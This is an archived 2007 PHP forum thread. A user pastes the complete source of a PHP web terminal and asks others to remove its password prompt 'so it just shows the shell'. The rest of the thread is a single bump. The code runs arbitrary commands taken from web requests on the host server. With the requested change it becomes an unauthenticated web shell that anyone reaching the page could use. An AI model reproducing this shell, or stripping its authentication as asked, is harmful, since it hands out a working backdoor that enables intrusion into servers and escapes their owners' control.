trixx Posted March 9, 2007 Share Posted March 9, 2007 Can someone please remove the code in this PHPShell script that prompts for a username and password and make it so it just shows the shell? thanks.. <?php /* User config options */ // example (single user) // $passwd = array('user' => 'passwd'); // example (multiple user) // $passwd = array('usera' => 'passwd', // 'userb' => 'passwd'); // and so on... $passwd = array('' => ''); $aliases = array('la' => 'ls -la', 'll' => 'ls -lvhF', 'dir' => 'ls' ); /* do NOT change anything below this line */ error_reporting(E_ALL); class phpTerm { function phpTerm() {} // constructor function formatPrompt() { $user=shell_exec("whoami"); $host=explode(".", shell_exec("uname -n")); $_SESSION['prompt'] = "".rtrim($user).""."@"."".rtrim($host[0]).""; } function checkPassword($passwd) { if(!isset($_SERVER['PHP_AUTH_USER'])|| !isset($_SERVER['PHP_AUTH_PW']) || !isset($passwd[$_SERVER['PHP_AUTH_USER']]) || $passwd[$_SERVER['PHP_AUTH_USER']] != $_SERVER['PHP_AUTH_PW']) { @session_destroy(); return false; } else { @session_start(); return true; } } function logout($logout) { if($logout==true){ header('WWW-Authenticate: Basic realm="PHP-Terminal"'); header('HTTP/1.0 401 Unauthorized'); exit(); } } function phpCheckVersion($min_version) { $is_version=phpversion(); list($v1,$v2,$v3,$v4) = sscanf($is_version,"%d.%d.%d%s"); list($m1,$m2,$m3,$m4) = sscanf($min_version,"%d.%d.%d%s"); if($v1>$m1) return(1); elseif($v1<$m1) return(0); if($v2>$m2) return(1); elseif($v2<$m2) return(0); if($v3>$m3) return(1); elseif($v3<$m3) return(0); if((!$v4)&&(!$m4)) return(1); if(($v4)&&(!$m4)) { $is_version=strpos($v4,"pl"); if(is_integer($is_version)) return(1); return(0); } elseif((!$v4)&&($m4)) { $is_version=strpos($m4,"rc"); if(is_integer($is_version)) return(1); return(0); } return(0); } function initVars() { if (empty($_SESSION['cwd']) || @!empty($_GET['reset'])) { $_SESSION['cwd'] = getcwd(); $_SESSION['history'] = array(); $_SESSION['output'] = ''; $_REQUEST['command'] =''; $_SESSION['color'] = 'linux'; } } function buildCommandHistory() { if(!empty($_REQUEST['command'])) { if(get_magic_quotes_gpc()) { $_REQUEST['command'] = stripslashes($_REQUEST['command']); } // drop old commands from list if exists if (($i = array_search($_REQUEST['command'], $_SESSION['history'])) !== false) { unset($_SESSION['history'][$i]); } array_unshift($_SESSION['history'], $_REQUEST['command']); // append commmand */ $_SESSION['output'] .= "{$_SESSION['prompt']}".":>"."{$_REQUEST['command']}"."\n"; } } function buildJavaHistory() { // build command history for use in the JavaScript if (empty($_SESSION['history'])) { $_SESSION['js_command_hist'] = '""'; } else { $escaped = array_map('addslashes', $_SESSION['history']); $_SESSION['js_command_hist'] = '"", "' . implode('", "', $escaped) . '"'; } } function setTerminalColor($color) { //$_SESSION['color']="$color"; // terminal colors switch($color) { case "linux": { echo "<style>textarea {width: 99.5%; border: none; margin: 0px; padding: 2px 2px 2px; color: #CCCCCC; background-color: #000000;} p {font-family: monospace; margin: 0px; padding: 0px 2px 2px; background-color: #000000; color: #CCCCCC;} input.prompt {border: none; font-family: monospace; background-color: #000000; color: #CCCCCC;}</style>"; break; } case "green": { echo "<style> textarea {width: 99.5%; border: none; margin: 0px; padding: 2px 2px 2px; color: #00C000; background-color: #000000;} p {font-family: monospace; margin: 0px; padding: 0px 2px 2px; background-color: #000000; color: #00C000;} input.prompt {border: none; font-family: monospace; background-color: #000000; color: #00C000;}</style>"; break; } case "black": { echo "<style> textarea {width: 99.5%; border: none; margin: 0px; padding: 2px 2px 2px; color: #000000; background-color: #00C000;} p {font-family: monospace; margin: 0px; padding: 0px 2px 2px; background-color: #00C000; color: #000000;} input.prompt {border: none; font-family: monospace; background-color: #00C000; color: #000000;}</style>"; break; } case "gray": { echo "<style> textarea {width: 99.5%; border: none; margin: 0px; padding: 2px 2px 2px; color: #CCCCCC; background-color: #0000FF;} p {font-family: monospace; margin: 0px; padding: 0px 2px 2px; background-color: #0000FF; color: #CCCCCC;} input.prompt {border: none; font-family: monospace; background-color: #0000FF; color: #CCCCCC;}</style>"; break; } default: { echo "<style>textarea {width: 99.5%; border: none; margin:0px; padding: 2px 2px 2px; color: #CCCCCC; background-color: #000000;} p {font-family: monospace; margin: 0px; padding: 0px 2px 2px; background-color: #000000; color: #CCCCCC;} input.prompt {border: none; font-family: monospace; background-color: #000000; color: #CCCCCC;}</style>"; break; } } } function outputHandle($aliases) { if (ereg('^[[:blank:]]*cd[[:blank:]]*$', @$_REQUEST['command'])) { $_SESSION['cwd'] = getcwd(); //dirname(__FILE__); } elseif(ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', @$_REQUEST['command'], $regs)) { // The current command is 'cd', which we have to handle as an internal shell command. // absolute/relative path ?" ($regs[1][0] == '/') ? $new_dir = $regs[1] : $new_dir = $_SESSION['cwd'] . '/' . $regs[1]; // cosmetics while (strpos($new_dir, '/./') !== false) $new_dir = str_replace('/./', '/', $new_dir); while (strpos($new_dir, '//') !== false) $new_dir = str_replace('//', '/', $new_dir); while (preg_match('|/\.\.(?!\.)|', $new_dir)) $new_dir = preg_replace('|/?[^/]+/\.\.(?!\.)|', '', $new_dir); if(empty($new_dir)): $new_dir = "/"; endif; (@chdir($new_dir)) ? $_SESSION['cwd'] = $new_dir : $_SESSION['output'] .= "could not change to: $new_dir\n"; } else { /* The command is not a 'cd' command, so we execute it after changing the directory and save the output. */ chdir($_SESSION['cwd']); /* Alias expansion. */ $length = strcspn(@$_REQUEST['command'], " \t"); $token = substr(@$_REQUEST['command'], 0, $length); if (isset($aliases[$token])) $_REQUEST['command'] = $aliases[$token] . substr($_REQUEST['command'], $length); if($this->phpCheckVersion("4.3.0")) { $p = proc_open(@$_REQUEST['command'], array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io); /* Read output sent to stdout. */ while (!feof($io[1])) { $_SESSION['output'] .= htmlspecialchars(fgets($io[1]),ENT_COMPAT, 'UTF-8'); } /* Read output sent to stderr. */ while (!feof($io[2])) { $_SESSION['output'] .= htmlspecialchars(fgets($io[2]),ENT_COMPAT, 'UTF-8'); } fclose($io[1]); fclose($io[2]); proc_close($p); } else { $stdout=shell_exec($_REQUEST['command']); $_SESSION['output'] .= htmlspecialchars($stdout,ENT_COMPAT, 'UTF-8'); } } } } // end phpTerm /*########################################################## ## The main thing starts here ## All output ist XHTML ##########################################################*/ $terminal = new phpTerm; $terminal->logout(@$_GET['logout']); if(!$terminal->checkPassword($passwd)) { header('WWW-Authenticate: Basic realm="PHP-Terminal"'); header('HTTP/1.0 401 Unauthorized'); } else { $terminal->initVars(); $terminal->buildCommandHistory(); $terminal->buildJavaHistory(); if(!isset($_SESSION['prompt'])):$terminal->formatPrompt(); endif; $terminal->outputHandle($aliases); if(isset($_GET['color'])) : $_SESSION['color']=$_GET['color']; endif; /* echo '<?xml version="1.0" encoding="UTF-8" ?>' . "\n"; */ ?> <!--<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">--> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>PHP-Terminal </title> <?php $terminal->setTerminalColor(@$_SESSION['color']); ?> <link rel="stylesheet" type="text/css" href="phpterm.css" /> <script type="text/javascript" language="JavaScript"> var current_line = 0; var command_hist = new Array(<?php echo $_SESSION['js_command_hist']; ?>); var last = 0; function key(e) { if (!e) var e = window.event; if (e.keyCode == 38 && current_line < command_hist.length-1) { command_hist[current_line] = document.shell.command.value; current_line++; document.shell.command.value = command_hist[current_line]; } if (e.keyCode == 40 && current_line > 0) { command_hist[current_line] = document.shell.command.value; current_line--; document.shell.command.value = command_hist[current_line]; } } function init() { document.shell.setAttribute("autocomplete", "off"); document.shell.output.scrollTop = document.shell.output.scrollHeight; document.shell.command.focus(); } </script> <script type="text/javascript" src="menu.js"></script> </head> <body onload="init()"> <?php if (empty($_REQUEST['rows'])) $_REQUEST['rows'] = 24; ?> <table border="0" class="main" cellpadding="0" cellspacing="0"> <tr> <td class="head_x" width="2%"><b> X</b></td> <td class="head"><?php echo $_SESSION['prompt'].":"."$_SESSION[cwd]"; ?> </td> </tr> <tr><td colspan='2'> <table width="100%" cellpadding="0" cellspacing="0" class="ddm1" id="menu1" > <tr> <td><a class='item1' href='javascript:void(0)'><b>Edit</b></a> <div class='section'> <a class='item2' href='<?php echo $_SERVER['PHP_SELF']."?reset=true"?>'>Reset Console</a> </div> </td> <td><a class='item1' href='javascript:void(0)'><b>Colors</b></a> <div class='section'> <a class='item2' href='<?php echo $_SERVER['PHP_SELF']."?color=linux"?>'>Linux Default</a> <a class='item2' href='<?php echo $_SERVER['PHP_SELF']."?color=green"?>'>Green on Black</a> <a class='item2' href='<?php echo $_SERVER['PHP_SELF']."?color=gray"?>'>Gray on Blue</a> <a class='item2' href='<?php echo $_SERVER['PHP_SELF']."?color=black"?>'>Black on Green</a> </div> </td> <td><a class='item1' href='javascript:void(0)'><b>Size</b></a> <div class='section'> <a class='item2' href='<?php echo $_SERVER['PHP_SELF']."?rows=24"?>'>80x24 (default)</a> <a class='item2' href='<?php echo $_SERVER['PHP_SELF']."?rows=30"?>'>80x30</a> <a class='item2' href='<?php echo $_SERVER['PHP_SELF']."?rows=35"?>'>80x35</a> <a class='item2' href='<?php echo $_SERVER['PHP_SELF']."?rows=40"?>'>80x40</a> </div> </td> <td><a class='item1' href='#'><b>Tools</b></a> <div class='section'> <a class='item2' href="#">nothing yet</a> </div> </td> <td><a class='item1' href="<?php echo $_SERVER['PHP_SELF']?>"><b>Help</b></a> <div class='section'> <a class='item2' href="#">nothing yet</a> </div> </td> <td><a class='item1' href="<?php echo $_SERVER['PHP_SELF']."?logout=true"?>"><b>Logout</b></a> </td> </tr> </table> </td></tr> <form name="shell" action="<?php echo $_SERVER['PHP_SELF'];?>" method="post"> <tr> <td colspan='2' nowrap> <textarea name="output" readonly="readonly" rows="<?php echo $_REQUEST['rows']; ?>"><?php $lines = substr_count($_SESSION['output'], "\n"); $padding = str_repeat("\n", max(0, $_REQUEST['rows']+1 - $lines)); echo rtrim($padding . $_SESSION['output']); ?> </textarea> <p><font size="-1"> <?php echo $_SESSION['prompt']."/".str_replace('/', '', strrchr($_SESSION['cwd'], '/')).">"; ?> <input class="prompt" name="command" type="text" size='50' onkeyup="key(event)" tabindex="1"> </font></p> </td> </tr></form> <tr> <td colspan='2' bgcolor='#CCCCCC' height='20px' align="right">PHP Terminal 0.3.0 ready! © bzrudi 2004</td> </tr> </table> <script type="text/javascript"> var ddm1 = new DropDownMenu1('menu1'); ddm1.init(); </script> </body> </html> <?php } ?> Link to comment https://forums.phpfreaks.com/topic/41945-newbie-please-help/ Share on other sites More sharing options...
trixx Posted March 10, 2007 Author Share Posted March 10, 2007 ??? PLEASE HELP Link to comment https://forums.phpfreaks.com/topic/41945-newbie-please-help/#findComment-204543 Share on other sites More sharing options...
Recommended Posts
Archived
This topic is now archived and is closed to further replies.